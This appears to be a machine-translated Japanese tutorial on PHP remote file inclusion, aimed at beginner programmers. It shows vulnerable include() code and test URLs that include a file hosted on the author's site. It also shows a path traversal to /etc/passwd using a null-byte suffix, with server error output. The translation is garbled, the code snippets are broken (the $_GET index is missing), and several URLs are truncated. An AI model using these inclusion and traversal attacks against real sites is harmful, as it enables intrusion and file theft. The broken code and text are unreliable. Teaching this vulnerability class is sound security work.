ジュニア PHP プログラマーの場合、まだ PHP のセキュリティを完全には理解できません。まず、プログラムの脆弱性を引き起こす原理を理解する必要があります。 PHPリモートファイルインクルード脆弱性の原因を紹介しましょう。
最初の質問は、「リモート ファイル インクルード脆弱性」とは何ですか?簡単に言うと、サーバーは任意のファイルを含む PHP の緩いフィルタリングによって悪意のあるファイルを実行するということです。これはプログラマーのフィルタリングの問題です。すべての CGI プログラムにはこのようなバグがあることを覚えておいてください。
1. PHP リモート ファイル インクルードの脆弱性バグを見つけます:
ターゲットを見つけるには、まず、すべての言語 (ほとんど) でこのインクルードの意味を知る必要があります。任意のファイル。 PHP では、 include() 関数とそのワークフローを使用します。
Main.PHP に include1.PHP をインクルードする場合は、次のように include("include1.PHP") と書きます。これはあまり科学的ではありませんが、そうする必要があります。理由を知っている。
まずこれを見てみましょう。ユーザー入力が渡されると、
<ol class="dp-c"> <li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span> <br> ) { </span></span></li> <li> <span class="keyword">include</span><span> </span><span class="vars">$_GET</span><span> <br> ; </span> </li> <li class="alt"> <span>} </span><span class="keyword">else</span><span> { </span> </li> <li> <span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> </ol>
というファイルが含まれます。問題は、この構造が [url]hxxp://www であることです。 .target.com/explame.PHP?page=main.PHP[/url] または [url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url] を参照してください。いずれにしても、プログラムにそのようなバグがある場合は、責められるしかありませんが、zone-h の調査では、このフィルタリングに問題がありました。 org、ファイルに含まれる攻撃率は 9.4% であり、これは私たちが注意を払うのに十分であり、数年前には存在していましたが、現在ではプログラマーの集団が攻撃を受けています。この記事では、2004 年にこのような記事を書くことは決まり文句になっていますが、結局のところ、人々が得をすることができる場合は文句とは言えません。
2. テスト
これは、プログラムの安全性を目的として、リモート ファイルのインクルードの例です。具体的なものを見てみましょう
<ol class="dp-xml"> <li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?</span><span class="attribute">page</span><span>=</span><span class="attribute-value">zizzy</span><span>[/url] </span></span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(zizzy): failed to open stream: No such file or directory </span></li> <li><span> </span></li> <li class="alt"><span>in /var/www/htdocs/index.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening 'zizzy' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/index.PHP on line 3 </span> </li> </ol>
3.
PHP を使うのは本当に良いことです。リモートからファイルを呼び出すことができます。その後、yeah.txt を作成して、私のサイト [url]hxxp://www.mysite.com/yeah に置きます。 .txt. [/url]内容はこんな感じです<ol class="dp-c"><li class="alt"><span><span>< ? </span></span></li><li><span class="func">echo</span><span> </span><span class="string">"Wow,test!"</span><span>; </span></li><li class="alt"><span>?> </span></span></li></ol>
<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li></ol>
4. PHP リモート ファイルの組み込みの脆弱性のもう 1 つの原則
時々、プログラマーはこのように記述して、組み込みの範囲を制限します<ol class="dp-c"> <li class="alt"><span><span class="keyword">if</span><span> (</span><span class="vars">$_GET</span><span> <br> ) { </span></span></li> <li> <span class="keyword">include</span><span> </span><span class="string">"$_GET <br> .PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> <li> <span class="keyword">else</span><span> </span> </li> <li class="alt"><span>{ </span></li> <li> <span class="keyword">include</span><span> </span><span class="string">"home.PHP"</span><span>; </span> </li> <li class="alt"><span>} </span></li> </ol>
<ol class="dp-xml"> <li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url] </span></span></li> <li><span> </span></li> <li class="alt"><span>Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream: </span></li> <li><span> </span></li> <li class="alt"><span>hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span> </li> </ol>
<ol class="dp-xml"> <li class="alt"><span><span>Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request </span></span></li> <li><span> </span></li> <li class="alt"><span>failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3 </span></li> <li><span> </span></li> <li class="alt"><span>Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion </span></li> <li><span> </span></li> <li class="alt"> <span>(</span><span class="attribute">include_path</span><span>=</span><span class="attribute-value">'.:/usr/local/lib/PHP'</span><span>) in /var/www/htdocs/explame.PHP on line 3 </span> </li> </ol>
<ol class="dp-xml"><li class="alt"><span><span>[url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url] </span></span></li></ol>